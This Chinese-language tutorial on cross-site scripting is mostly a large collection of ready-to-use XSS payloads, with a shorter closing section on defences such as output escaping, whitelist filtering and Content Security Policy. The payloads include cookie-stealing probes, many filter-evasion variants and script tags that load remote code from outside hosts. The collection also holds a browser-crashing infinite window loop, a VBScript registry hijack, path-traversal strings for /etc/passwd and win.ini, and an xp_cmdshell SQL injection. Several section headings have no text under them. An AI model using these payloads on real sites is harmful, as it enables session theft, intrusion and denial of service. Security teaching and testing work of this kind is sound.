XSS跨站脚本

XSS

Cross Site Scription,跨站脚本攻击 ,为了与 Cascading Style Sheet (CSS,层叠样式表) 区分将 Cross (意为:交叉)改为交叉形的X作为缩写,故成了叉SS,XSS 。是一种通过将恶意代码注入到网页脚本中的攻击,攻击成功后攻击者可获取到 Cookie 、以受攻击者身份进行操作等行为。

XSS 危害

攻击分类

反射型与存储型的区别在于,反射线的恶意代码存在 URL 中,存储型的恶意代码存在服务器上。

攻击步骤

反射型

存储型

DOM 型

常见攻击脚本代码

// 测试是否存在跨站
<script>alert("XSS")</script>

// 获取 Cookie 并弹出对话框,一些 Cookie 信息中将会包含帐号和密码
<script>window.alert(document.cookie);</script>

// 弹 200x200 的窗口,在其中打开页面 `http://bing.com`
<script>window.open('http://bing.com','width=200,heigh=200');</script>

// 框架
<iframe src=http://bing.com width=0 height=0></iframe>

// refresh 到另一个页面
<meta http-equiv="refresh" content="1;URL=http://bing.com">

// scriptlet 引入另一个页面
<object type="text/x-scriptlet" data="http://bing.com"></object>

// 打开无数个浏览器窗口,直至CPU超负荷,非关机不可
<script language="javaScript">
while(true){
	window.open("URI");//如果URI就是当前页本身,更具破坏性
}
</script>

// 修改注册表来修改IE主页
<script language="VBScript">
Set RegWsh = CreateObject("WScrpt.Shell");
//设置IE浏览器默认页
RegWsh.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://bing.com");
</script>

XSS(跨站脚本攻击) - 常用代码大全

1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt>
 
<svg/onload=alert(1)>
 
<script>alert(document.cookie)</script>
 
'><script>alert(document.cookie)</script>
 
='><script>alert(document.cookie)</script>
 
<script>alert(vulnerable)</script>
 
%3Cscript%3Ealert('XSS')%3C/script%3E
 
<script>alert('XSS')</script>
 
<img src="javascript:alert('XSS')">
 
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
 
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
 
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
 
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
 
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
 
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
 
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
 
<script>alert('Vulnerable');</script>
 
<script>alert('Vulnerable')</script>
 
a.jsp/<script>alert('Vulnerable')</script>
 
a?<script>alert('Vulnerable')</script>
 
"><script>alert('Vulnerable')</script>
 
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
 
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
 
%3Cscript%3Ealert(document. domain);%3C/script%3E&
 
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
 
<IMG src="javascript:alert('XSS');">
 
<IMG src=javascript:alert('XSS')>
 
<IMG src=JaVaScRiPt:alert('XSS')>
 
<IMG src=JaVaScRiPt:alert("XSS")>
 
<IMG src=javascript:alert('XSS')>
 
<IMG src=javascript:alert('XSS')>
 
<IMG src=javascript:alert('XSS')>
 
<IMG src="jav ascript:alert('XSS');">
 
<IMG src="jav ascript:alert('XSS');">
 
<IMG src="jav ascript:alert('XSS');">
 
"<IMG src=java\0script:alert(\"XSS\")>";' > out
 
<IMG src=" javascript:alert('XSS');">
 
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
 
<BODY BACKGROUND="javascript:alert('XSS')">
 
<BODY ONLOAD=alert('XSS')>
 
<IMG DYNSRC="javascript:alert('XSS')">
 
<IMG LOWSRC="javascript:alert('XSS')">
 
<BGSOUND src="javascript:alert('XSS');">
 
<br size="&{alert('XSS')}">
 
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
 
<LINK REL="stylesheet" href="javascript:alert('XSS');">
 
<IMG src='vbscript:msgbox("XSS")'>
 
<IMG src="mocha:[code]">
 
<IMG src="livescript:[code]">
 
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
 
<IFRAME src=javascript:alert('XSS')></IFRAME>
 
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
 
<TABLE BACKGROUND="javascript:alert('XSS')">
 
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
 
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
 
<DIV STYLE="width: expression(alert('XSS'));">
 
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
 
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
 
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
 
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
 
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
 
<BASE href="javascript:alert('XSS');//">
 
getURL("javascript:alert('XSS')")
 
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
 
<XML src="javascript:alert('XSS');">
 
"> <BODY><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
 
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
 
<IMG src="javascript:alert('XSS')"
 
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo
'=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
 
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
 
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
 
<IMG SRC=javascript:alert(‘XSS’)>
 
<IMG SRC=# onmouseover=”alert(‘xxs’)”>
 
<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>
 
<img src=x onerror=”&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041″>
 
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
 
&#39;&#88;&#83;&#83;&#39;&#41;>
 
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
 
<IMG SRC=”jav ascript:alert(‘XSS’);”>
 
<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>
 
<IMG SRC=” &#14;  javascript:alert(‘XSS’);”>
 
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
 
<IMG SRC=”javascript:alert(‘XSS’)”
 
</script><script>alert(‘XSS’);</script>
 
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
 
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
 
<svg/onload=alert('XSS')>
 
<IMG SRC=’vbscript:msgbox(“XSS”)’>
 
<BGSOUND SRC="javascript:alert('XSS');">
 
<BR SIZE="&{alert('XSS')}">
 
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
 
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
 
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
 
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
 
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
 
<XSS STYLE="behavior: url(xss.htc);">
 
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
 
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
 
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
 
<DIV STYLE="width: expression(alert('XSS'));">
 
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
 
<script>alert(/xss/)</script>
 
<svg onload=alert(document.domain)>
 
<img src=document.domain onerror=alert(document.domain)>
 
<M onmouseover=alert(document.domain)>M
 
<marquee onscroll=alert(document.domain)>
 
<a href=javascript:alert(document.domain)>M</a>
 
<body onload=alert(document.domain)>
 
<details open ontoggle=alert(document.domain)>
 
<embed src=javascript:alert(document.domain)>
 
<script>alert(1)</script>
 
<sCrIpT>alert(1)</sCrIpT>
 
<ScRiPt>alert(1)</ScRiPt>
 
<sCrIpT>alert(1)</ScRiPt>
 
<ScRiPt>alert(1)</sCrIpT>
 
<img src=1 onerror=alert(1)>
 
<iMg src=1 oNeRrOr=alert(1)>
 
<ImG src=1 OnErRoR=alert(1)>
 
<img src=1 onerror="alert(&quot;M&quot;)">
 
<marquee onscroll=alert(1)>
 
<mArQuEe OnScRoLl=alert(1)>
 
<MaRqUeE oNsCrOlL=alert(1)>
 
<a href=javascript:/0/,alert(%22M%22)>M</a>
 
<a href=javascript:/00/,alert(%22M%22)>M</a>
 
<a href=javascript:/000/,alert(%22M%22)>M</a>
 
<a href=javascript:/M/,alert(%22M%22)>M</a>
 
<base href=javascript:/M/><a href=,alert(1)>M</a>
 
<base href=javascript:/M/><iframe src=,alert(1)></iframe>
 
</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
 
"><img src=x onerror=alert(document.cookie)>.gif
 
<div style="background-image:url(javascript:alert(/xss/))">
 
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
 
<iframe src=javascript:alert(1)></iframe>
 
<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
 
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
 
<iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
 
<iframe src=https://baidu.com width=1366 height=768></iframe>
 
<iframe src=javascript:alert(1) width=1366 height=768></iframe
 
<form action=javascript:alert(1)><input type=submit>
 
<form><button formaction=javascript:alert(1)>M
 
<form><input formaction=javascript:alert(1) type=submit value=M>
 
<form><input formaction=javascript:alert(1) type=image value=M>
 
<form><input formaction=javascript:alert(1) type=image src=1>
 
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

防御

浏览器自带防御

HTTP X-XSS-Protection 响应头是 IE,Chrome 和 Safari 的一个功能,当检测到 XSS 时,浏览器将停止加载页面。

可设置四个值:

浏览器自带的防御功能只能对反射型 XSS 有一定防御能力,其原理是检查 URL 和 DOM 中元素的相关性,并不能完全防御反射型 XSS 且不是所有浏览器都支持。

转义

在 XSS 攻击中,攻击者主要通过构造特殊字符来注入脚本,所以对输入进行检测是很有必要的,且需要在客户端与服务端都进行输入检测,然后对用户输入的数据进行转义。主要对输入所包含的特殊字符(< , > , & , " , ' 等) 进行转义来防止 XSS 攻击。

以下为一种转义方法

function escapeHTML(str) {
    if (!str) return '';
    str = str.replace(/&/g, "&amp;");
    str = str.replace(/</g, "&lt;");
    str = str.replace(/>/g, "&gt;");
    str = str.replace(/"/g, "&quot;");
    str = str.replace(/'/g, "&#39;");
    return str;
};

过滤

当一些页面需要保留 HTML 时,就不能通过转义的方法防御 XSS 攻击,这时可使用过滤的方式防御 XSS 攻击,就是通过使用白名单允许的 HTML 标记及其属性来防御攻击。

内容安全策略(CSP)

内容安全策略(Content Security Policy,CSP),实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,大大增强了网页的安全性。

通过 HTTP 头信息的 Content-Security-Policy 字段启用 CSP

Content-Security-Policy: script-src 'self'; 
                         object-src 'none';
                         style-src cdn.example.org third-party.org; 
                         child-src https:

通过网页 <meta> 标签启用 CSP

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

上面代码中,CSP 做了如下配置。

启用后,不符合 CSP 的外部资源就会被阻止加载。